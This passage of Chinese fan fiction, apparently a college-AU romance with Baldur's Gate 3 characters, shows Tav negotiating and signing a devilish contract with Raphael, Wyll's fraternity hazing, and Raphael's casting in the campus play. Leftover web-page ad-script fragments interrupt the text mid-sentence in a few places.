如果威尔知道剧团遇到麻烦,就不会是今天这个反应,而且拉斐尔又怎么会主动告诉威尔。 塔夫盯着拉斐尔。面前的这个可恶的家伙,一定没有告诉威尔他做了什么。是的,他不是对威尔说,这是他和她之间的小秘密吗? 昨天她和拉斐尔那个样子,再加上影心乱开玩笑,威尔肯定不会继续询问下去,说不定还会误会她和拉斐尔之间真有什么。 那威尔为什么还要这么做呢。 塔夫有了一个可能的推测: “你用什么办法,也许是救下我这一点,劝说威尔让我仍继续留在交易里,是吗?因为威尔知道,你一定会讨要回这个帮助。他不愿意让我欠你人情,自己加入了你的兄弟会,为的是你不会再要求我做什么?说不定你还对他说,你我之间的交易可以继续,所以这件事对我是利大于弊的?” 塔夫一边说,一边注意到拉斐尔唇角慢慢弯起。 “我说对了吗?”她问出口便立刻讥讽地笑了一声, “你当然可以不用告诉我,我会同威尔确认后再和你继续谈。” “你的逻辑没有问题。”但拉斐尔并没有被戳穿的窘迫,反而像是看到一场有趣的演出。 “为什么需要这么做?如果你想要威尔加入你的兄弟会,直接邀请他不就好了?”塔夫咬了下唇,已经知道答案,因为威尔不愿意加入,而拉斐尔不喜这点。她恍然,“是你特意设计了威尔?” “不,他还没那么重要。”拉斐尔露出笑容, “但当机会出现的时候,能看到一个正直骄傲的家伙低下头,这不是很有意思吗?” 塔夫半天说不出话:“你比我想象中的可恶还要得多得多。” “而你,你超出了我的想象。”拉斐尔眼中是流动的璨金色,“真是精彩极了。我甚至想要为此感谢威尔。” 塔夫不可置信:“为什么威尔会信任和你交易!?” 拉斐尔像是听到什么笑话:“因为我来自卡尼亚家族。” “哇哦。”塔夫讥讽,“真威风。” “在神的注视下,我必将永远遵守契约的约定。”拉斐尔并没有任何怒意,表情反而严肃了些。 “但是可以钻约定的空子?哪怕是通过欺骗的手段?” “太过死板可少了很多乐趣。而且,我并没有说谎。” “哈!这句话本身就是一句谎话!” 然而,塔夫回忆了下,拉斐尔的每一句话单看似乎都没有问题。至于他对威尔的承诺,大概用了理解上的歧义,比如模糊地表述为完成两人之间的交易,但没有指明必须是拉斐尔替她做什么。 这可有点糟。 塔夫见拉斐尔一副很有耐心地、等自己找出他说谎例子的样子,更加气不打一处来:“你一直在误导我。” “我更喜欢引导这个词。”拉斐尔微笑看着她,“我在引导你向我提出要求,这是我向威尔的承诺。” 原来如此,塔夫稍稍松一口气。威尔还是注意到了这点,让她占据了主动权。但这要求是对她有利的,还是服务于拉斐尔的,恐怕没有说明。 毕竟,她为什么会主动提出一个对拉斐尔有利的要求呢。 还好她发现了。 塔夫骤然放松,又感到一阵疲惫袭来,像是昨晚的受寒一直潜伏在她身体里,突然回侵。而昨晚的另一个人,正眼神深邃地看着她。 她脸上微微发烫起来,几乎带着头热的眩晕。 但她感到发烧脑热,绝对不是因为羞怯!而是因为她不得不打起精神,从伪装成好意的陷阱中拿到本就应该属于她的东西。而布下陷阱的人,正在一旁好整以暇地看她的表演,还事不关己地做着评论。 她在舞台上紧张摸索,他在舞台下观察她的表情和反应,甚至主动提点,比如直接说出他对威尔的承诺。 威尔一定帮她争取到了一个很好的承诺,她不能浪费。 塔夫把那感觉努力压下去,她需要冷静,也需要确认一些事情:“在交易上,你不会说谎?” “主观上不会。” 塔夫忍住嘲弄,又问:“你一定会完成交易?” “我会遵守约定。” 塔夫继续忍耐,咬着唇:“你会接受我提出的任何要求?” “不,塔夫,这怎么可能。”拉斐尔装出诧异的模样,“当然是有限制的。” “比如呢?” “你不能要求更多要求,也不能要求我杀人或复活什么人,更不能要求我爱上你。” 塔夫平静说:“你可还真是一个混蛋。” 拉斐尔轻笑:“很遗憾你无法理解我的幽默。” 塔夫盯着拉斐尔:“感谢你刚才的‘诚实’,我会格外小心地写下我的要求。但是,我不介意给你一个预告:你以为你是观看演出的观众?做好准备成为舞台上的一员吧。” 拉斐尔皱起眉毛。 “为了防止你听不出来,”塔夫犹不解气,“因为某些原因,屋顶上的猫可正缺少男演员呢。” 拉斐尔哼一声:“现在可不是开玩笑的时候。” “不,有了你的加入,演出一定会非常精彩。” 拉斐尔紧紧盯着塔夫: “让我来帮你梳理一下现在的情况。你完成演出是为了什么?除了在校友返校日募集捐款,申请下一年预算,恐怕更是为了拿到学务长的推荐信。” 塔夫模仿拉斐尔的口吻:“你的逻辑不错。” 拉斐尔语气不变:“你需要推荐信,是为了申请奖学金。而你申请奖学金,是因为想要读医学院却无力承担学费。毕竟,能获得博得安学者奖学金的人,从来不会是经济宽裕的学生。” 虽然这些信息多是公开的,塔夫脸色还是难看起来。初见时,拉斐尔连她名字都叫不对,他显然特意了解过她,至于原因: “剧团的事,果然是你在背后搞的鬼,让我不得不接受同你的交易!” 拉斐尔没有回答她,自然也没有承认,继续说:“既然你的目标是筹集医学院的学费,这恐怕并不是一个多么明智的决定。毕竟,你走向目的地的每一步,都需要承担事情没有按设想完成的风险。 “演出成功,但你没有拿到推荐信。拿到推荐信,却没有申请到奖学金。能够支付医学院学费的奖学金,只有费伦最高奖。让我们假设一切顺利,你申请到了最高奖学金。可是,你没能成功考入医学院,白白浪费一年。 “与之相对的,你可以直接向我要求一张支票。至于金额,我可以给你三次试探上限的机会。或者,你可以要求在我身边一段时间,除了钱,你可以得到更多。 “想想你对未来的最终期望,你想要成为医生。 “在我身边,你有机会提前见到医学院的招生官,和著名医生在私人场合熟悉。他们会成为你未来的导师,你的引路人。你能够更顺利地成长,也能够更轻松地通过住院实习,最后成功在大医院留任。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “这是一个难得的机会。别那么快就做决定。好好想一想。” 塔夫轻轻咽了下口水。她不得不承认,拉斐尔的劝说很有道理,尤其要她想想最终目标的时候,她几乎要被说服了。 但她清楚,她不想走他提供的这条捷径,尤其这条捷径还意味着在她自己和剧团之间做出选择。 无论是出于自尊或对自己的信心,还是出于对剧团的责任感和归属感,又或者只是一时的激愤和想要给拉斐尔一个教训的念头,她都会选择按计划一步步走自己的路。 不过,这也是因为拉斐尔在最后说错了一件事,将她从美好的未来图景中生生拽离。塔夫暗自庆幸。她是想要成为医生,但她可不想留在大医院工作。 她见拉斐尔似乎一脸笃定她被说服,心里默默加了一个目标,她要看到拉斐尔不得不低头的样子! 他摆道理讲条件说了这么一大篇,仿佛一切都在为她考虑,最主要的原因恐怕还是他不乐意加入屋顶上的猫,就好像威尔不愿意加入他的兄弟会。 想到威尔,塔夫更坚定了。 而且她得让威尔来看拉斐尔的演出。 “你真的很不想演戏,是吗?”塔夫扮出一脸夸张的好奇,“当演员有那么糟糕吗?” 拉斐尔面色一沉。 “扮演一个不是自己的角色,站在聚光灯下,被观众指指点点或嘻嘻哈哈地评判。对你来说,大概是一种形式上的屈辱?”塔夫微笑,再次模仿拉斐尔的语气,“可我觉得,这会很有意思呢。” “只是出于一时的有趣吗。” “还有对剧团的承诺和责任。很显然,我对承诺的看法和你的不太一样。” “如果是为了剧团,你只凭自己的好恶心情,指定一位不了解表演经验的人做主角。”拉斐尔语气失望,“这可不是一个负责任的决定。” 他越是如此、越是要说服她这是个糟糕的决定,塔夫越是下定决心,牢牢盯着他:“谁说你会是主角了?” “……?!”拉斐尔眼睛微微睁大,似乎是今天第一次感到真诚的诧异。 这家伙!居然因为这种事才惊讶? 虽然腹诽他自恋,塔夫心情却越来越好:“把说服我的力气省下来,留到背台词歌词和练舞步上吧!” “?!” 难得看到拉斐尔诧异到这种程度,塔夫忍不住笑道:“激动得说不出话?这么喜欢吗?” “……” “瞧,我听到了什么?你的热情简直要掀翻屋顶!不过请一定克制,因为你这么急切想要加入的剧团,名字叫做屋顶上的猫。” 拉斐尔终于开口,声线低沉:“你是指,在屋顶上,像只猫一样,对着观众咕噜咕噜叫?” 塔夫被拉斐尔的反应逗得大笑起来,看来他终于意识到事情已成定局,甚至都不再伪装礼貌了。 “我很喜欢你的这个说法。而你很快也会是其中的一只。”她笑着加上童谣小调哼了一遍“拉斐尔在屋顶上喵喵叫”。 拉斐尔唇绷得更紧:“你是要唱那首童谣吗?走音了三处。” 见他如此,塔夫心里却更加快活: “可那没关系。 “欢迎来到我的舞台,拉斐尔。” . 拉斐尔试图忽略塔夫真的很漂亮也很有吸引力的事实,眼睛却一眨不眨地看着她,几乎不愿意放过每一个瞬间。 她脸上的笑容,眼里的得意神色,熠熠生辉得可以称得上任性。飞舞的浓密睫毛和两个可爱的酒窝,仿佛都拥有自己的生命。还有那骄傲扬起的小巧下巴,坚定得像是要和他打一架。 他也要很克制才能压住想要上扬的唇角。 瞧,他找到了什么。 欢迎来到我的游戏,塔夫。 . 15. 交易(三) 塔夫敲定了约定的内容。 感谢拉斐尔的“好心关照”,她注意到相当多细节。 比如,拉斐尔的责任范围不仅仅是表演,而是要保证演出成功。当然还少不了对演出成功的定义,包括关键的校友返校日(塔夫特意对拉斐尔说:“多亏你提醒这点。”),剧团成员的评价,以及学务长的满意等。 不过,她没有把推荐信加进去。 她几乎是刻板地只想把状态回归到受威尔和拉斐尔的影响之前,努力不被拉斐尔的几个“如果事情不顺利”的假设影响。 按惯例,只要演出成功,校友筹款顺利,学务长会向社团团长提供模板化的推荐信。 塔夫有些出神的时候,拉斐尔正一行行点过羊皮纸: “约定存续期间, “……我在剧团活动时需要听从剧团团长和导演的决定;——请在决定前加上‘合理’。 “……我需要说服前成员回归或招募新成员;——请添加人数和限制范围‘必要情况下’。 “……我必须参与演出……既然有上一条,这条真的有存在的必要吗?” “表演才是最有意思的地方,不是吗?”塔夫又好笑起来,甚至没办法让牙齿少露出几颗,“你会喜欢上的,我保证。” 拉斐尔垂眼扫过剩下的内容:“没问题。” 他回答得太过干脆,塔夫立刻直觉哪里出现问题:“等一下!”她修改后又仔细添上剧团团长和导演的名字,这才长吁一口气。 “这真的是你想要的?”拉斐尔似笑非笑,“太过囿于细节的规定,对你来说也是一种束缚。” 塔夫反而确认了:“没错。” 拉斐尔便收起羊皮纸:“如你所愿。” “就这样?” 拉斐尔瞧着塔夫:“等不及去剧团了?” 塔夫眯起眼睛:“我要加一条细则。” 拉斐尔嘴角颤了颤,最后还是变成一个微笑:“我会尊重你的决定,如果在剧团活动时间的合理范围内。”他仍握着羊皮纸。 塔夫坚持:“交易还没有开始,我还能修改内容。” 她最后还是成功添上一句对拉斐尔态度的要求,又忍不住质疑:“这也太不正式了。这就是你所说的你们家族的契约?值得信赖,其实全凭你自己的道德约束?如果你有那种东西的话。” 拉斐尔忽然定定看着她:“你想要正式的契约?” 他的声音本是流淌的琴音,此时却带着一种奇异的质地,仿佛灼烧的火焰。好像他刚才不是在询问,而是在威胁,或者嘲笑她的不自量力。塔夫怔愣片刻,瞥了眼自己手中的羊皮纸,扬起下巴,回睨他: “为什么不呢?” “我需要一个肯定的回答,而不是反问。” “你无法理解吗?” 拉斐尔嗓音依然低沉:“契约的要求。” 塔夫一讪,又立刻说:“是的,我想要正式的契约。” 拉斐尔捏起羊皮纸,望向她眼睛深处,再次说:“如-你-所-愿。” 塔夫头皮连着后背一麻,皮肤也生出一层战栗。 然而,不等她再说什么,拉斐尔已经低声念起她无法理解的语言,像是祈祷,又像是歌声。 周围空气忽然变得稀薄,仿佛一圈无形火墙将他们围拢。在轻微的窒息感中,塔夫第一个想到的却是,他的声音居然还能更好听。 带着严冬之意的冰冷火舌舔过,羊皮纸上的文字扭曲成一片暗红色的字母,带着古怪的韵律。 拉斐尔凭空摸出一支漆黑的羽毛笔: “以巴托之狱的阿斯蒙蒂斯之名,写下你的名字。” 古老家族的传承,她所不知道的世界。 塔夫咽了下口水,忽然犹豫了:“我看不懂上面的文字。” “你在这种地方怀疑我?”拉斐尔的声音带着明显的不悦和嘲弄,“还是说,你准备退缩了?” 塔夫在对方眼中看到火焰似的金色,打了个寒颤,下意识抓过羽毛笔,飞快写下自己的名字。 羊皮纸慢慢卷了起来。 “你不需要签名吗?”塔夫问。 “整张契约,”拉斐尔仍深深望着她,“都是由我的鲜血书就。” “啊?!”塔夫手一颤。 拉斐尔敏捷地伸手接住掉下的羽毛笔,直起身时唇几乎贴着她的耳朵,话里带着遮掩不住的笑意:“比喻意义上的。” 塔夫:他果然还是个混蛋! . 虽然拉斐尔这样说,但签订那份正式契约似乎真的对他有影响。 塔夫敏锐地发现他似乎看上去疲惫一些,甚至连讨人厌的程度都有所下降。 他告诉她契约本身有不可抗力条款,看样子应该是想要用讥诮的语气,说出来的时候却带着公事公办的礼貌风度: “……因为你自身错误导致的不可行,我不会负责补救。” 如果是正常的拉斐尔,一定会用“愚蠢”这种字眼,而不是非常中立的“错误”吧。 塔夫越瞧他越觉得他眉眼间倦色明显,摆摆手要他快走:“我知道了,今天已经说得够多了。下次排练是明天中午开始。提前一刻钟来这里,我带你一起过去,顺便说些剧团的事。” . 拉斐尔的确有些倦意,离开塔夫后却还是直接去了赛艇队。他走入更衣室时,那里已经立着一个背影。 背影转过身,和他相似的脸上线条坚硬冷酷。 “哈勒普?”拉斐尔皱起眉,“你在这里做什么?” “拉斐尔,你使用了契约。”和五官一样冰冷的声音。 拉斐尔瞳孔竖起,微微躬身:“父亲。” ——哈勒普变成梅菲斯特·卡尼亚大公的模样,而真正的梅菲斯特正通过他的身体同拉斐尔直接交谈。 梅菲斯特慢慢走到他身前:“我曾对你说过什么?” 突然的问题,只有一句话的上文。拉斐尔垂下眼: “赢的代价很大, “输的代价更多。 “耐心打出每一张牌, “直到一笔契约完成。” “再答一遍。”梅菲斯特说,“别让我失望。” 拉斐尔后背绷紧,意识到什么: “做棋手,而不是棋子。 “做幕后之手,而不是……台上木偶。” “你还记得。那么,你使用家族契约,是好奇年轻人之间的表演游戏,还是为了给某个姑娘留下深刻印象?” 拉斐尔立刻回道:“这是和威尔·雷文伽德交易的一部分。” “他要求正式契约?” “……不。” “雷文伽德公爵的儿子。”梅菲斯特沉思片刻,“米佐拉对他也有兴趣。和她见一面,告诉她,我向扎瑞尔致意。” “……是的。” “你当然可以肆意享受生活,拉斐尔,这是你与生俱来的特权。”梅菲斯特声音变得柔和一些,“但你要记得,每一个决定都有其后果,每一个错误也都会留下痕迹。” “除非我可以……” “我并没有说完。”声音重新变得冷漠。 “……是的,父亲。” “你可以掩盖、修正、甚至利用错误留下的痕迹。但做重要决定前,用大脑控制身体,而不是反过来,好吗?别让我失望。” “是的,父亲。” . 长久的沉默后,梅菲斯特五官渐渐被薄雾笼罩。那雾气又缓缓漫向整个身体,雾散后,他已经变回五官柔和的哈勒普。 “啧,传声筒工具可真不好当,特别是紧张的时候。”哈勒普活动脖子和肩膀。 拉斐尔拍拍他手臂。 “刚才那是什么意思?”哈勒普拉伸腰肢,“你和米佐拉?阿弗纳斯家族的米佐拉?” “只是见一面。” “可特意提到了扎瑞尔。” 这个名字,只可能是“坠落的光旅者”,埃弗纳斯大公。而九狱家族间,年轻人提及家族长的这种会面,总 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是会向合作,情人,甚至正式的联姻发展。 哈勒普见拉斐尔无意回答,换了个话题,“你用了契约?” 拉斐尔仍没有回答。 “好吧,好吧。我知道了。”哈勒普摊开手耸耸肩,“我看我最好还是先回去睡一觉。” “和塔夫。”拉斐尔说。 哈勒普一怔。契约是和塔夫的?距拉斐尔和她第一次见面,应该才不过三天,事情这么严峻? “我决定不能让她有反悔的机会。”拉斐尔又说,轻轻扬了下眉毛,“我有一个计划。” 但那对你也有束缚。哈勒普没有说出口。毕竟,拉斐尔已经决定的事,他可没有办法改变。 . 拉斐尔回到往常的面无表情,但越来越能看出其中的惫色和不快。 影响也许来自使用契约,也许来自一下午的高强度体能练习。到了晚上,威尔的入会“庆祝仪式”,他只露面了几分钟。 严格意义上来说,他并没有露“面”,因为他戴着面具。 但哪怕无法看到拉斐尔的脸,威尔还是从一群吼叫着的动物中认出他。 那是一副古怪的大概是某种猫科动物的面具,遮住上半张脸,和兄弟会其他成员的面具相仿:白底,用金红两色绘着华丽却诡异的纹路。 他似乎注意到威尔的视线,冲他比了一个口型。但一片混乱中,威尔没能辨认出他说了什么。 “猫”离开后,仪式很快便终止了。 “欢迎你加入我们。”一个戴着狐狸面具的人哑声对威尔说。 两个戴着狼面具的人立刻抬来一大桶混着冰块的冰水,朝威尔从头向下浇去。 威尔瞬间屏住呼吸,没有躲闪,但借机丢开了手里的杯子。除了不知道多少种他无从分辨的酒精、大麻酚油、也许还有其他致幻植物的提纯,他可以确定的是,里面有在场很多人的口涎。 杯子落在地上的声音被欢呼淹没: “欢迎你,威尔。” “欢迎!” “欢迎成为我们中的一员,兄弟。” …… 威尔被披上一条绣有队徽的长毛巾,又被一群人托着从河边空地回到俱乐部。那里,庆祝派对将会持续整整一个晚上。 在让人有些反胃的颠晃中,威尔猜测拉斐尔做出这一决定的原因是什么,难道是因为他昨晚帮他擦了擦头发? 威尔忍不住苦笑着摇摇头,他那时可不是想要示好,或者期待能交换什么“同等的善意对待”。但他无法说谎,他很庆幸入会仪式就这样结束了。 . 派对舞池,威尔重新看到哈尔辛和昨晚见过的塔夫的那位朋友,他记得是叫影心。 但塔夫不在。 不过这正合他意。威尔更想在正常的场景中和塔夫见面,比如,盖尔教授的课上。 . 塔夫此时已经准备睡觉。 拉斐尔离开后,她赶回宿舍,却没见到几个小时前还病恹恹的影心,只看到她留的字条。 她要和哈尔辛出去喝一杯——治疗宿醉效果最好的是低浓度酒精(塔夫:这没有任何依据)。晚上还有另一个临时派对,大概很晚才会回来,不需要等她。 “在赛艇队!为了欢迎新成员。如果你感兴趣的话,就说找哈尔辛。” 影心特意把赛艇队用粗黑框圈了起来。 塔夫有些无奈,又立刻猜到那个新成员正是威尔。 不过她不打算去凑热闹。除了因为威尔对这件事的反感,上午,她同威尔与拉斐尔(主要是拉斐尔)的两场对谈也消耗不少,精神一直处于紧张亢奋的状态。那劲头过后,眩晕和发热又一次有冒头的迹象。 于是,她干脆舒舒服服睡了一觉,醒来后窝在床上看一下午的笔记,晚上提前溜达去自助餐厅吃到特价烤鸡,晚饭后接着继续准备标准化考试的内容。 平静而充实地结束一天,塔夫在睡前忍不住由衷感叹: 正常的生活终于回来了。 . 16. 平静 塔夫始终没能睡着。 过去正常的生活终于回来了……吗? 她遇见拉斐尔不过三天,为什么已经有“终于”的感觉。而且她知道这一切还没有结束。到了明天,她又要和拉斐尔打交道。 塔夫忽然意识到奇怪之处。 她想起被拉斐尔抱着,不,救起的那天。 ——天啊,那其实就是昨天,这种时间上的混乱感真够可怕的。 拉斐尔当时的那一番话,应该是在暗指她对他欲擒故纵不肯放手。这自然不是真的,现在来看却也并非没有道理。她明明是想要解决社团的麻烦,当然更应该远离麻烦本身拉斐尔,为什么最后却偏偏和他签下这种契约。 塔夫有些烦躁地翻了个身,又想起拉斐尔所说的“引导”,思忖是否又被他牵引着走入什么陷阱。但这要求是她提的,拉斐尔始终在拒绝,同时也提出了“更直接”、“更有利”的选择。 那契约看着很正式,不知道她还有没有调整要求的机会。 拉斐尔居然同意了?他在计划什么? 直到枕在一侧的手臂发麻,塔夫这才悚然发现,为了猜测拉斐尔的想法,她居然花了好多时间仔细回忆他这几天来的一言一行,一举一动,甚至发展到微小的表情,眉眼的轮廓,肌肤的质感…… 快停下,别再想了。 塔夫连忙放空,努力入睡。 . 如果有什么能比睡前想这些还要糟糕的话,那就是睡着后,更多的拉斐尔。 耳朵烧红的拉斐尔,衣服湿透的拉斐尔,嗓音低沉的拉斐尔。甚至还有变成猫,咕噜咕噜叫着,毛茸茸的爪子朝她拍来的拉斐尔?! 昨晚她一夜无梦,没想到却是一起攒到今天。 塔夫从她并不欢迎的梦中惊醒好几次,顶着黑眼圈,直到天微微发白,才看到戴着熊猫眼的影心轻手轻脚地回来。 那样子倒像是她正排演的剧中的哥哥,偷偷跑去酒吧喝了一晚上酒,终于在凌晨五点想起来回家了。塔夫不合时宜地把自己逗乐了。 “抱歉。吵醒你了?”影心小声问。 “我之前就醒了。” “失眠了?” “做……噩梦了。” “是因为今天——不对,已经是昨天的事?想和我说说看吗?” “你快先洗洗睡吧。我之后说给你听。” 影心的呼吸声很快变得悠长。伴着她规律的轻鼾,塔夫也终于再次入睡。 . 又一次醒来时,太阳刚刚升起不久。 塔夫抬起手臂遮住眼睛,长长叹出一口气。 这是怎么了?到底是哪里的问题?是荷尔蒙吗?还是心理作用?因为越不想去想,所以反而越会想到? 虽然时间尚早,人也依然困倦,塔夫还是直接坐了起来。既然这样,还是别继续睡了,用其他事情填满自己,就不会再想到拉斐尔了。 这方法果然好用。 塔夫看完两个章节,晨跑一段,慢悠悠吃过早饭,回来冲了个澡,又重新复习一遍之前看的两个章节,一次都没有想起过拉斐尔。 ——也许想起一次,她跑到冲萨河边时发现赛艇队居然已经开始训练,于是立刻掉了头。 看看时间,离和拉斐尔约定的见面仍有一个多小时。在宿舍里,哪怕她很注意,也还是会发出轻响。而影心仍在睡,但开始变得不太安稳,经常翻身。塔夫便决定早点去盖尔教授的办公室。 爬到三楼,在落地窗前重新望见冲萨河,她干脆坐到窗前的单人小沙发上,抬头可以直接看到台阶,稍微侧过身则可以欣赏校园景色。 . 塔夫边看书边等,然而直到过了约定时间,她也没有听到任何脚步声。 现在是春假,这栋建筑只开了一道门,正对这段楼梯,上楼最方便,她不可能错过拉斐尔。就算她看书太专注没有听到,拉斐尔也能看到她。 又等几分钟,塔夫终于不耐烦起来。 昨天晚上威尔加入拉斐尔的兄弟会,派对一直持续到今天早上。这是拉斐尔觉得“有意思”的事,他恐怕和影心一样,直到早上才会回去。 如果拉斐尔真的不遵守约定……她好像并没有强制手段?甚至连契约都在对方手里。他说家族会在神的注视下遵守约定,她现在应该去神殿祈祷让神明惩罚他吗? 塔夫再看一眼时间,决定不能继续再等下去了。她收好书本准备去剧团,想了想还是一口气先爬到顶层,却在盖尔教授办公室门前看到拉斐尔。 他微微倚在墙上,抬眼看到她,合上书慢慢站直:“你迟到了。” 塔夫一时没想通:“怎么会?” 拉斐尔确认时间:“七分钟。” “我不是那个意思。” “哦?我很乐意听你的借口,如果我们不需要立刻出发的话。” “那我们先去剧团。”塔夫决定可以边走边说,“走快些就来得及。” “没有借口?”拉斐尔几步已经在她身旁,轻轻扬起眉毛,“原来这就是你对剧团活动的态度。我了解了你的标准。” 塔夫没说话,走到三楼后才指了指那里的落地窗,解释说:“我之前一直在这里等,没有看到你,你走的哪边的楼梯?” “也许,你应当遵守约定中的地点——盖尔的办公室。如果你不肯这么做的话,至少有能力考虑到这样一种可能,我比你到得更早。” 他非得这么说话吗?塔夫有点没好气:“可我提前快一个小时就到了。” 拉斐尔微微一怔:“一个小时?” “是啊。”塔夫说完也愣了下,拉斐尔比她到的还早?他不是从派对直接过来的吧。她仔细瞧一眼他,一如既往的干净整洁,又偷偷闻了闻,嗯,还是清爽好闻的气息。再偷偷闻一下,这是哪家商店的古龙水或者身体乳?更可能是特别调制的? 这次换成了拉斐尔没有说话。 所以她和拉斐尔都到的很早,却错过了。 “原来你到得更早?这可真是个乌龙。”塔夫笑了下,“不过你说的对,我可以早点上去看一眼的,抱歉让你等这么久。” 拉斐尔仍然没有说话,自然也没有接受她的道歉。 二人已经来到楼外,塔夫重新抬眼去瞧拉斐尔,却看到他脸颊似乎正慢慢泛红。 这人脸红的点好奇怪啊,总不能是因为下楼梯太快导致的吧,赛艇队的练习不是很严格吗?塔夫莫名其妙又有些好笑。 “这边。沿河走更快。”她提醒说。 “嗯。”拉斐尔简短地应道,也不知道是对她刚才的道歉还是对方向。 既然他说话已经不再刻薄——事实上,他根本停止了说话,塔夫就没再继续这个仔细想想还有些难为情的误会,抓紧时间朝拉斐尔塞入剧团的主要情况。 其实也没有太多可说。团员到现场介绍更合适,正排演的戏也最好对着剧本详说,所以她更像 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是在叮嘱拉斐尔注意表现,大多是:和剧团的大家好好相处、别做个讨厌鬼、不要给她丢脸之类的。 拉斐尔终于偏过头瞧她。 塔夫正说到“虽然不会发生,但如果你被欺负或者有其他问题的话,记得先来找我”,注意到拉斐尔的视线,轻轻皱了下眉:“有什么问题吗?” “你认为呢?” 塔夫话问出口就已经反应过来,不由得一讪:“因为我们之间有些特别,我是指约定的事。”她犹豫片刻,终于说,“其实,我回去想了想,如果你可以让我们的男演员们回来,就不一定非要……” “恐怕不行。契约要求我必须出演。” “你可以演一个不重要的配角。” 拉斐尔瞥她一眼:“关于我的角色,我们还是到了剧团再讨论。” 已经看到小剧院西翼,即这次的排练地点,塔夫这才意识到又一个问题,她要怎么解释拉斐尔的出现。 都怪她今天早上把拉斐尔遗忘得太彻底了! 交易或者契约,无论哪一种,听上去都隐含更多内容。而她除了“有些复杂”之外,一时想不出其他说法。她不太想把整件事说出来,而且也得拉斐尔配合才行。 “等等!”眼见拉斐尔要走入小剧院,塔夫连忙把他拉到一旁。 “我们没有太多时间。”拉斐尔说。 “我知道。”塔夫有些焦急,“你准备怎么解释这个?” “你为什么会迟到的问题?” “不!解释……”塔夫突然卡住,开始胡乱加手势,“……你!” “我?”拉斐尔轻笑,“如果这就是剧团团长的表达水平,恐怕观众会很难理解……” “塔夫!” 一个声音打断他,却是菲拉挥了下手,又朝二人跑来。 塔夫抬起手努力微笑,一边小声对拉斐尔说:“她一定会问的!可我们还没想到回答!” 拉斐尔又一声轻笑,塔夫无奈白他一眼。 “呼。太好了。你也刚到?”菲拉笑着来到她身边,见到拉斐尔一怔,“这是……” “初次见面。”拉斐尔已经没有什么表情,“我是……” 菲拉已经率先说出:“‘那个’拉斐尔?” 拉斐尔:“我恐怕是的。” “哈哈,没什么可‘怕’的。你可真幽默。” “那就好。” “哦呵呵呵。对了,我叫阿尔菲拉,大家一般都叫我菲拉,有的时候叫阿尔。不过你不需要和别人一样,因为很显然你和一般人不一样……我是说,你可以叫我菲拉也可以叫我阿尔,如果你想用全称或其他名字叫我的话也并不是不可以。因为如果是你的话,一定能够想出既幽默又……” 塔夫:“……?” 不过似乎暂时不用向朋友解释了。 她一把拉住菲拉胳膊:“先一起进去再说!” 走进小剧院,塔夫和菲拉并排走在前。菲拉凑近低声说:“天啊,谢谢你!阻止了我继续难堪下去!” 塔夫忍不住问:“你刚才在做什么?我以为你喜欢里萨?” “我不知道!这可真是太尴尬了!但我并没有想要调情,是我的舌头自己说了下去。”菲拉声音提高了些,“我才要问你,拉斐尔在这里做什么?!” 问题它还是来了! “嘘、小点声。”塔夫灵巧避开,轻咳一声用拖字诀,“我之后再跟你解释。” . 17. 主角 塔夫发现拉斐尔有这样一种特质。 当愿意施展时,他可以变得非常富有魅力,成为每个人关注的焦点。 他举止优雅,谈吐得体,表现得彬彬有礼甚至能称得上友好:耐心熟悉剧团成员,认真听他们介绍自己——很多人同菲拉一样兴奋或紧张,在一个一个蹦单词和毫无停顿的大长句这两个极端中,几乎没有任何中间地带。 虽然拉斐尔始终保持着些许距离,但每个人都很快接受了他那略带矜傲的礼貌,并认为他本该如此。 简而言之,剧团的大家完全被他迷住了。 塔夫在一旁冷眼观察,仿佛看到十几分钟前的菲拉,以及四天前的自己。 她不无自嘲地想着,有的时候,与其说是拉斐尔做了或说了什么特别的,倒不如说是其他人主动发掘他的迷人之处,又一笔一笔替他添上更多光环。 但因为他对威尔的评价,塔夫这次能够从拉斐尔的神态中看出点别的什么。那友好之下,大概更多是一种“还算新鲜,那就观察看看”的心态。虽然目前来看,他对剧团的评价似乎没有明显倾向,无论是好的还是坏的。 塔夫觉得自己对此应该是反感的,却生出“为什么”的好奇。 她其实可以猜到答案。拉斐尔是贵族,那是成长环境优越带来的傲慢:习惯性地保持距离,高高在上地评判,甚至更加冷漠——不屑于或者不需要浪费情绪表达好恶,因为他们对他不会产生任何影响。 但很快,她的好奇又变成“真的是这样吗”的探究。 像是留意到她的注视,拉斐尔忽然望向她。塔夫完全没有机会收回思索的表情,便挑衅地回了他一眼“我知道你在观察别人,所以我也在观察你”,这才移开视线。 她不知道自己的意思是否传达了过去,毕竟那只是一眼,但她知道拉斐尔仍望着她。 而剧团团员顺着拉斐尔的目光,像是终于意识到她一直没有参与其中。 “这是我们剧团的团长,塔夫!”灯光师,拉克里萨,立刻好心介绍起来。 “里萨!拉斐尔是和塔夫一起来的。”菲拉无奈瞧她一眼。 塔夫精神一紧,似乎已经听到那个“你和拉斐尔是怎么认识的?”的问题。 拉斐尔却微笑接过话,仿佛他同塔夫一起来是再自然不过的事,又好像他已经在剧团三年,或者他才是剧团团长一般。 他的声音本就低沉迷人,此时似乎刻意带上优美的韵律起伏,等大家都被他再次吸引了,最后又抛下重磅消息: “我会加入这次演出,如果有合适的角色的话。” “当然!”菲拉立刻说,“我们正缺少一个男主角!” 塔夫连忙反对,一时能想起来的却是拉斐尔之前用来说服她的理由:“我们还不清楚他的表演经验和表演能力。” “我们的男主角是什么?”菲拉突然问。 “什么?”塔夫发现自己完全没能跟上菲拉的思路,这可非常少见。 “在剧里,或者说在女主角的幻梦中,他是一只独角兽!”菲拉猛地指向拉斐尔,差点破音,“看看他吧!他就是独角兽本兽!” 塔夫:“……” 拉斐尔维持着礼貌的微笑。 菲拉咳嗽一声,笃定道:“来自导演的意见,试镜通过。其他人呢?” “赞同!” “这简直太棒了!” “我已经等不及了!” “好极了!”菲拉响亮合掌,“那今天的排练就可以开始了!” 事情决定得太快,塔夫的质疑差点被欢呼淹没:“什么时候的试镜?” 菲拉继续指挥道:“先排上次没有练到的最后一场到终幕!然后准备男女主二人初次见面那场戏,让拉斐尔试试角色!”她看了眼塔夫,“这段时间正好帮他讲下戏。”又嚷嚷着问,“里萨!塔夫要帮拉斐尔准备,你这次还是一个人灯光可以吗?” 